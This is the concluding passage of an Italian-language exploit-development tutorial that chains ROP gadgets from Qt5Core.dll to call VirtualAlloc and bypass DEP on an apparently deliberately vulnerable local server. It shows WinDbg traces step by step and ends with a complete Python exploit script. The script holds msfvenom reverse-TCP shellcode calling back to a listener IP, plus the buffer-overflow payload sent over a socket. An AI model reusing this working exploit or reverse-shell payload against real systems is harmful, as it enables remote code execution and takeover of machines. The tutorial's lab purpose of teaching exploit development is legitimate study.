rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  ** [Qt5Core.dll] ** 
rop += pack('<L',0x68aef5d0)  # XCHG EAX,ESP # RETN ** [Qt5Core.dll] ** 

rop += b"B" * (700-len(rop))
....

Vediamo in WinDBG

0:016> bp 0x68aef5d0
0:016> g
Breakpoint 0 hit
eax=00a3d3f0 ebx=41414141 ecx=00000040 edx=00000270 esi=41414141 edi=00a3d3d4
eip=68aef5d0 esp=00a3d5d8 ebp=41414141 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200207
Qt5Core!ZNK14QLocalePrivate9bcp47NameEc+0x290:
68aef5d0 94              xchg    eax,esp
0:000> p
eax=00a3d5d8 ebx=41414141 ecx=00000040 edx=00000270 esi=41414141 edi=00a3d3d4
eip=68aef5d1 esp=00a3d3f0 ebp=41414141 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200207
Qt5Core!ZNK14QLocalePrivate9bcp47NameEc+0x291:
68aef5d1 c3              ret
0:000> dds esp L6
00a3d3f0  75e74da0 KERNEL32!VirtualAllocStub
00a3d3f4  00a3d664
00a3d3f8  00a3d664
00a3d3fc  00000001
00a3d400  00001000
00a3d404  00000040

Ottimo, abbiamo sostituito con successo tutti i parametri. Facciamo step over e vediamo se funziona tutto

0:000> p
eax=00a3d5d8 ebx=41414141 ecx=00000040 edx=00000270 esi=41414141 edi=00a3d3d4
eip=75e74da0 esp=00a3d3f4 ebp=41414141 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200207
KERNEL32!VirtualAllocStub:
75e74da0 8bff            mov     edi,edi
0:000> pt
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f0 esi=41414141 edi=00a3d3d4
eip=75397261 esp=00a3d3f4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
KERNELBASE!VirtualAlloc+0x51:
75397261 c21000          ret     10h
0:000> p
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f0 esi=41414141 edi=00a3d3d4
eip=00a3d664 esp=00a3d408 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
00a3d664 42              inc     edx
0:000> p
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f1 esi=41414141 edi=00a3d3d4
eip=00a3d665 esp=00a3d408 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
00a3d665 42              inc     edx
0:000> 
eax=00a3d000 ebx=41414141 ecx=00a3d3c4 edx=771927f2 esi=41414141 edi=00a3d3d4
eip=00a3d666 esp=00a3d408 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
00a3d666 42              inc     edx

I nostri 42 vengono eseguiti, non ci resta che sostituirli con dei NOP e al posto della variabile shellcode lo andiamo a creare con msfvenom.

Step 12. Exploit

Aggiorno lo script con le ultime variabili.

from struct import pack
import socket

#\x00\x0A\x0D

TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT)  # vulnserver


crash = 2000  # change me
offset = 1052

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.154 LPORT=12345 -f python –e x86/shikata_ga_nai  EXITFUNC=thread -v shellcode -b "\x00\x0a\x0d"
shellcode =  b""
shellcode += b"\xd9\xc9\xd9\x74\x24\xf4\x5a\xbe\xdb\xbe\xa4"
shellcode += b"\x98\x2b\xc9\xb1\x52\x31\x72\x17\x83\xc2\x04"
shellcode += b"\x03\xa9\xad\x46\x6d\xb1\x3a\x04\x8e\x49\xbb"
shellcode += b"\x69\x06\xac\x8a\xa9\x7c\xa5\xbd\x19\xf6\xeb"
.......
shellcode += b"\x33\x5b\x31\x7a\x2c\x0e\x35\x29\x4d\x1b"
shellcode += b"\x90" * 500

rop_nop = pack("<I",0x68ee5174) # RETN

#step 1 - saving esp to eax,edi
rop = pack("<I",0x68c7f391)  # PUSH ESP # POP EBX # POP ESI # RETN 
rop += pack('<L',0x41414141) # padding for pop ebp
rop += pack("<I",0x68bbd10f)  # MOV EAX,EBX # POP EBX # RETN 0x04  
rop += pack('<L',0x41414141) # padding for pop ebp
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += pack("<I",0x68f37dbb)  # MOV EDI,EAX # RETN    ** [Qt5Core.dll] ** 

#step 2 - jumping over template
rop += pack("<I",0x68b402ce)  # ADD ESP,1C # RETN    ** [Qt5Core.dll] **  

#template
rop += pack("<L", 0x690398A0) # dummy VirutalAlloc Address (pointer to VirtualProtect) 
rop += pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += pack("<L", 0x44444444) # # dummy Shellcode Address  (pointer to shellcode address)
rop += pack("<L", 0x33333333) # dummy dwSize  - 0x1
rop += pack("<L", 0x22222222) # # dummy flAllocationType  - 0x1000
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40

rop += b"\x90"*4 # padding
# step 3 - patching address virtualprotect
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68f26a35)  # INC EAX # RETN 
rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret;
rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;
rop += pack('<L', 0x6aa8d803)  # mov eax, dword ptr [eax]; ret;
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

# patching return address
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x6ab445f9)  # mov eax, ecx; ret;
rop += pack('<L', 0x68a8174b)  # XOR EDX,EDX # RETN  
rop += pack('<L', 0x68ae2632)  # POP EDX # RETN   
rop += pack('<L', 0xfffffd90) # -624
rop += pack('<L', 0x68bd5fe4)  # NEG EDX # RETN 0x0C 
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += pack('<L', 0x68ad91ab)  # add eax, edx; ret;
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching lpaddress
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching dWsize
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f21874)  # POP EAX # RETN    **
rop += pack('<L', 0xffffffff)
rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching flAllocationType - 0x1000
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f21874)  # POP EAX # RETN    **
rop += pack('<L', 0xffffefff)  # -1001
rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  
rop += pack('<L', 0x68ab39b8) # DEC EAX # RETN   
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#patching flProtect  - 0x40
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383) # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68fe0383)  # INC ECX # RETN 
rop += pack('<L', 0x68c6092e)  # XOR EAX,EAX # RETN    ** [Qt5Core.dll] ** 
rop += pack('<L', 0x68f21874)  # POP EAX # RETN    **
rop += pack('<L', 0xffffffc0)  # -40
rop += pack('<L', 0x68cef5b2)  # NEG EAX # RETN  
rop += pack('<L', 0x68c7ffe6)  # mov dword ptr [ecx], eax; ret 4;
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04

#jumping to esp
rop += pack('<L', 0x68be726b)  # xchg eax, ecx; ret;
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68f9433e)  # DEC EAX # RETN  
rop += pack('<L',0x68aef5d0)  # XCHG EAX,ESP # RETN 

rop += b"\x90" * (700-len(rop))

payload = b"A"*offset
payload += rop_nop
payload += rop
payload += shellcode
payload += b"C"*(crash - len(payload))

with socket.create_connection(target) as sock:

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Conclusioni

In questo articolo abbiamo visto anche il template di Virtual Alloc, che è in realtà molto simile a Virtual Protect. Nei prossimi articoli vedremo WriteProcessMemory, sia con custom shellcode che con sostituizione dinamica dei bad char.

Alcune risorse utili:

  1. https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
  2. https://vickieli.dev/binary%20exploitation/data-execution-prevention/
  3. https://connormcgarr.github.io/ROP/
  4. https://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf
  5. https://www.fuzzysecurity.com/tutorials/expDev/7.html
  6. https://h0mbre.github.io/Creating_Win32_ROP_Chains
  7. https://www.shogunlab.com/blog/2018/02/11/zdzg-windows-exploit-5.html